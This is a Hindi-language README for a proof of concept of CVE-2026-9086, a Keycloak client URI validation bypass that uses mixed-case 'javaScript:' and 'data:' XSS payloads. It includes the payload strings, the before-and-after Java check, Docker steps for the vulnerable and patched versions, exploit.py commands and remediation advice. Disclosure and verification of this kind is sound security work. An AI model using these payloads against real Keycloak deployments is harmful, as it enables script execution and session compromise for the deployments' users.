
CVE-2026-9086 के लिए प्रूफ-ऑफ-कॉन्सेप्ट: मिश्रित केस javascript: और data: XSS पेलोड का उपयोग करके Keycloak क्लाइंट URI सत्यापन बाईपास, जिसमें कमजोर और सुधारे गए संस्करणों का Docker-आधारित सत्यापन शामिल है।
यह रिपॉजिटरी Keycloak के क्लाइंट URI सत्यापन में विद्यमान क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता CVE-2026-9086 का Proof of Concept (PoC) है।
कमजोर (भेद्य) Keycloak, क्लाइंट में सेट किए गए URI की javascript: और
data: स्कीम की जाँच केस-सेंसिटिव (अक्षरों के बड़े/छोटे में भेद) तरीके से करता था। इसलिए,
jaVaSCript: या DaTa: जैसे मिश्रित-केस लेखन का उपयोग करके प्रतिबंधित स्कीम की जाँच को
दरकिनार किया जा सकता है। ब्राउज़र URI स्कीम की व्याख्या केस-इनसेंसिटिव (बड़े/छोटे अक्षरों की परवाह किए बिना) करता है,
इसलिए यदि पीड़ित किसी गढ़े गए लिंक पर क्लिक करता है, तो Keycloak ओरिजिन पर
JavaScript निष्पादित होने की संभावना होती है।
इस PoC में, Keycloak 26.6.3 (भेद्य संस्करण) और 26.6.4 (पैच किया गया संस्करण) को Docker में प्रारंभ किया जाता है, वही मिश्रित-केस URI Admin REST API से पंजीकृत किया जाता है। भेद्य संस्करण में पंजीकरण सफल होता है, जबकि पैच किए गए संस्करण में HTTP 400 द्वारा अस्वीकार होता है, इसकी पुष्टि की जाती है।
यह PoC पंजीकृत URI को ब्राउज़र में नहीं खोलता और JavaScript निष्पादित नहीं करता।
यह प्रोजेक्ट केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए है। कृपया तीसरे पक्ष के Keycloak वातावरण के बिना अनुमति के परीक्षण में इसका उपयोग न करें। इस टूल के दुरुपयोग, क्षति या अवैध कार्यों के लिए लेखक कोई ज़िम्मेदारी नहीं लेता है।
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N)manage-client अनुमति, या क्लाइंट पंजीकरण एंडपॉइंट तक पहुंचपैच से पहले DefaultClientValidationProvider प्रतिबंधित स्कीम की तुलना
String.equals() से करता था।
if (uri.getScheme() != null
&& (uri.getScheme().equals("data")
|| uri.getScheme().equals("javascript"))) {
// reject
}
java.net.URI#getScheme() इनपुट के अक्षरों के बड़े/छोटे होने को बनाए रखता है, इसलिए निम्न URI
तुलना से मेल नहीं खाते और सत्यापन को पार कर जाते हैं।
jaVaSCript:alert(document.domain)
DaTa:text/html;base64,PHNjcmlwdD5jb25maXJtKGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+
पैच किए गए संस्करण में equalsIgnoreCase() का उपयोग किया जाता है।
if (uri.getScheme() != null
&& (uri.getScheme().equalsIgnoreCase("data")
|| uri.getScheme().equalsIgnoreCase("javascript"))) {
// reject
}
Docker Compose से भेद्य संस्करण और पैच किए गए संस्करण को प्रारंभ करें।
docker compose up -d
प्रारंभ किए जाने वाले:
| URL | संस्करण | अपेक्षित परिणाम |
|---|---|---|
http://localhost:8180 | Keycloak 26.6.3 | URI पंजीकरण सफल (भेद्य) |
http://localhost:8181 | Keycloak 26.6.4 | HTTP 400 (पैच किया हुआ) |
पहली बार प्रारंभ होने में थोड़ा समय लगता है। निम्न कमांड से स्थिति देखी जा सकती है।
docker compose logs -f
जब दोनों लॉग में Listening on दिखाई दे, तो Ctrl+C से लॉग दृश्य समाप्त करें।
python3 exploit.py \
-t http://localhost:8180 \
-u admin \
-p admin \
--expect vulnerable
अपेक्षित आउटपुट:
[!] VULNERABLE: Keycloak accepted the mixed-case javascript: URI.
स्क्रिप्ट निर्मित क्लाइंट को Admin API से पुनः प्राप्त करता है, और यह भी सत्यापित करता है कि गढ़ा गया URI सहेजा गया था।
python3 exploit.py \
-t http://localhost:8181 \
-u admin \
-p admin \
--expect fixed
अपेक्षित आउटपुट:
[+] FIXED: Keycloak rejected the mixed-case javascript: URI.
data: स्कीम का सत्यापन--scheme data निर्दिष्ट करने पर, मिश्रित-केस DaTa: URI का सत्यापन किया जा सकता है।
python3 exploit.py -t http://localhost:8180 --scheme data --expect vulnerable
python3 exploit.py -t http://localhost:8181 --scheme data --expect fixed
docker compose down -v
exploit.py केवल निम्नलिखित कार्य करता है:
admin-cli का उपयोग करके एडमिन एक्सेस टोकन प्राप्त करनाjaVaSCript: या DaTa: URI को redirectUris में सेट करना/admin/realms/master/clients पर क्लाइंट निर्माण अनुरोध भेजनायह ब्राउज़र प्रारंभ नहीं करता, पंजीकृत URI पर नहीं जाता, और JavaScript निष्पादित नहीं करता।
Keycloak 26.6 श्रृंखला को 26.6.4 या उससे बाद के संस्करण में, और Red Hat build of Keycloak 26.4 श्रृंखला को 26.4.13 या उससे बाद के संस्करण में अपडेट करें।
साथ ही, मौजूदा क्लाइंट की URI सेटिंग्स का ऑडिट करें और केस (बड़े/छोटे अक्षर) की परवाह किए बिना
javascript: या data: का उपयोग करने वाले मानों को हटा दें।
manage-client अनुमति और क्लाइंट पंजीकरण एंडपॉइंट तक पहुंच को भी न्यूनतम आवश्यकताओं तक
सीमित करें।